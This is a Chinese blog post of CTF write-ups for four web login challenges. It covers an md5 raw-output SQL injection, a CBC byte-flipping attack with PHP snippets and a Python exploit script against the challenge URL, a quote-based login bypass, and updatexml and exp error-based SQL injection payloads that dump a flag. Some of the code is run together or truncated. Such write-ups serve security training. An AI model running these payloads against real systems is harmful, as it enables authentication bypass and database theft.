ctf 选择题 题库_实验吧CTF题库writeup

原创

weixin_39722070 于 2020-12-19 21:44:31 发布 275 收藏
文章标签： ctf选择题 题库

2019-04-28

题目1.后台登录　　分值：10　　解题参考：https://blog.csdn.net/March97/article/details/81222922

打开是一个登录页面

查看网页源码，发现提示

1

md5($password,true)处存在sql注入点，该函数的作用如下

如果某个字符串经过md5('XXX',true)加密之后的结果包含 ‘’or'+数字，即可构造出一个sql注入语句。在题目链接中包含的字符串即为登录密码字符串 “ffifdyop”

该字符串不唯一，只要经过md5('XXX',true)加密之后的结果包含 ‘’or'+数字 就可以提交成功，拿到flag。

题目2.简单的登录题　　分值：50

解题参考：

https://blog.csdn.net/LeeHDsniper/article/details/81089480#

https://blog.csdn.net/include_heqile/article/details/79942993

https://hebin.me/2018/01/26/西普ctf-简单的登录题/

https://www.freebuf.com/articles/system/163756.html

https://r00tnb.github.io/2018/02/09/%E5%AE%9E%E9%AA%8C%E5%90%A7-%E7%AE%80%E5%8D%95%E7%9A%84%E7%99%BB%E5%BD%95%E9%A2%98/

CBC字节翻转攻击：

https://blog.csdn.net/xiaorouji/article/details/82777482

https://blog.csdn.net/csu_vc/article/details/79619309

https://www.freebuf.com/articles/system/163756.html

http://shaobaobaoer.cn/archives/582/cbc%E5%AD%97%E7%AC%A6%E7%BF%BB%E8%BD%AC-%E5%8E%9F%E7%90%86%E4%B8%8E%E5%AE%9E%E6%88%98

解密过程如下图：

正常流程 B ^ C = A

根据异或运算的性质　C = A ^ B　；　C ^ C = A ^ B ^ C = 0

漏洞利用 (B ^ X ^ A) ^ C = X (X为指定的任意任意字符)；

将B的值与(X ^ A)异或后再参与运算就可以控制生成的明文为我们指定的字符X

通过阅读源码得知，输入框过滤了#的，先尝试用字节翻转攻击使用#注释掉limit $id,0中的,0。

Step1

发送如下数据包：

设置id=11(两位数，后面需要把个位换成#，用于截断sql语句)。服务器返回了iv和cipher，然后自己计算一下序列化之后的结果

结果为：a:1:{s:2:"id";s:2:"11";}

Step2

16个byte为一组，进行分组：

BLOCK#1：a:1:{s:2:"id";s:

BLOCK#2：2:"11";}

先修改cipher中的BLOCK#1的密文，使得BLOCK#2的解密后结果为2:"1#";}，这样就能够使用#注释掉,0了。

```
<?php $id="11";$info= array('id'=>$id);echo serialize($info);echo "\n\n";$cipher="%2BC4Qj7hli7Y0m1gTxynlvgW04jPnVGGLwKr%2FetoBhAg%3D";$cipher=urldecode($cipher);$cipher;echo "\n\n";$cipher[4]=chr(ord($cipher[4])^ord('1')^ord('#'));$cipher=base64_encode($cipher);$cipher=urlencode($cip"$cipher\n";?>
```

得到的cipher值为 %2BC4Qj6pli7Y0m1gTxynlvgW04jPnVGGLwKr%2FetoBhAg%3D

使用这个cipher的值，iv不变，post数据包：(在拦截到的页面刷新数据包中修改)

服务器返回的结果：无法正常反序列化。因为我们为了修改明文块2而修改了密文块1，密文块1被修改后再利用原始的IV解密后的得到的明文块1是乱码，无法进行反序列化。

Step3

由于密文块1被修改，导致上一步得到的密文cipher使用key解密后未执行异或运算前的值也受到影响，我们其设为A，同样，对于解密出的乱码明文我们设为B，该过程如下图

上图的过程为 A ^ old_IV = B

根据与或运算的性质 A ^ old_IV ^ B = 0

A ^ old_IV ^ B ^ C = C

只需要设置新的new_IV = old_IV ^ B ^ C ，经过运算之后 A ^ new_IV = C

我们需要让解密出的明文是正常可读的也就是BLOCK#1：a:1:{s:2:"id";s: ，设该正常明文为C

我们只需要修改IV，令其为上面式子中计算出的new_IV 就能操纵第一个被修改后的密文块解密出正常的明文。

通过上面的返回包，我们知道了乱码明文的base64值，以及原本正常的明文值，依据上面的公式计算即可：

{$iv[$i] = chr(ord($block_wrong[$i]) ^ ord($iv[$i]) ^ ord($block_right[$i]));

}$iv=base64_encode($iv);$iv=urlencode($iv);echo "$iv\n";?>

输出结果为：V8vwjXVKJrm1Tj5ztfnB%2Bg%3D%3D

使用这个iv替换数据包中的iv，再次重放：

注入成功。

最后利用上面找到的注入点和原理编写脚本就可以拿到flag了

```
import requests
import re
from base64 import*from urllib import quote,unquote
url="http://ctf5.shiyanbar.com/web/jiandan/index.php"def
find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):payload= {"id":payload}
r=requests.post(url,data=payload)
iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]
cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]
cipher=unquote(cipher)
cipher=b64decode(cipher)
cipher_list=list(cipher)
cipher_list[cbc_flip_index]= chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace))
cipher_new=''.join(cipher_list)
cipher_new=b64encode(cipher_new)
cipher_new=quote(cipher_new)
cookie= {'iv':iv,'cipher':cipher_new}
```

```
r=requests.post(url,cookies=cookie)

content= r.content

plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0]

plain=b64decode(plain_base64)

first_block_plain="a:1:{s:2:\"id\";s:"iv=unquote(iv)

iv=b64decode(iv)

iv_list=list(iv)for i in range(16):iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i]))

iv_new=''.join(iv_list)

iv_new=b64encode(iv_new)

iv_new=quote(iv_new)

cookie= {'iv':iv_new,'cipher':cipher_new}

r=requests.post(url,cookies=cookie)return r.content

def get_columns_count():table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']for i in range(len(table_name)):payload="(select 1)a"

if i==0:payload= "0 2nion select * from("+payload+");"+chr(0);

content=find_flag(payload,6,'2','u')

resp=re.findall(".*(Hello!)(\d).*",content)if resp:

print "table has 1 column and response position is 1"

returnpayloadelse:

print "table does not have %d columns" % (i+1)continue

for t in range(i):payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])

payload= "0 2nion select * from("+payload+");"+chr(0);

content=find_flag(payload,6,'2','u')

resp=re.findall(".*(Hello!)(\d).*",content)if resp:

print "table has %d column and response position is %s" % (i+1,resp[0][1])returnpayloadelse:

print "table does not have %d columns" % (i+1)
```

payload=get_columns_count()printpayloadprint find_flag('12',4,'2','#')print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u')print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')----------作者：LeeHDsniper

来源：CSDN

原文：https://blog.csdn.net/LeeHDsniper/article/details/81089480

版权声明：本文为博主原创文章，转载请附上博文链接！

得到flag为：

题目3.登陆一下好吗??　　分值：20

网页源码也没有可利用的地方

只能从登录输入框尝试进行sql注入，

使用该语句测试：' union select * from a where 1-1+1/1 or 1=1 | 1 join 1/* #%00

发现过滤了以下字符

| , – , or , union , # , select ,* ,/

构造的sql注入语句要绕过这些字符。

猜测其后台的sql语句为 select * from table where username= ‘username′and password=′password’

使用的sql语句要使得 username= ‘username′ 和password=′password’这两个表达式返回的结果为真

可以使用 0'='0 ，获得flag

语句并不唯一，只要符合 X'='X 即可(X为任意字符，可以为空)

题目4.加了料的报错注入　　分值：35

解题参考：https://blog.csdn.net/qq_35078631/article/details/79221618

https://blog.csdn.net/xingyyn78/article/details/79737070

打开题目链接提示使用post方式提交用户名和密码，使用burp构造数据包后提交

在返回包中提示了后台SQL查询语句

根据题目提示的报错注入，使用burp中intruder模块尝试爆破

username的参数updatexml没有禁掉，但是禁掉了圆括号。

password参数，没有禁掉圆括号，但是禁掉了等号。

因此通过updatexml在存储非XPath格式的字符串时的报错输出获得所需要的信息。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数：XML_document是String格式，为XML文档对象的名称。

第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。

第三个参数：new_value，String格式，替换查找到的符合条件的数据

通过将用户名中加入updatexml，并将中间内容注释掉，就可以使用updatexml函数。使用select database()函数获得数据库名。

方法一

获取数据库名：

username=1' and updatexml/*&

password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1

XPATH syntax error: '~error_based_hpf~'

获取表名：

username=1' and updatexml/*

&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7e),3)or'1

XPATH syntax error: '~ffll44jj,users~'

获取列名：

username=1' and updatexml/*

&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7e),3)or'1

XPATH syntax error: '~value~'

获取字段值：

username=1' and updatexml/*

&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1

XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'

方法二 ： 利用exp报错注入

username=1' and exp/*

&password=*/(~(select * from (select value from ffll44jj)x))or'1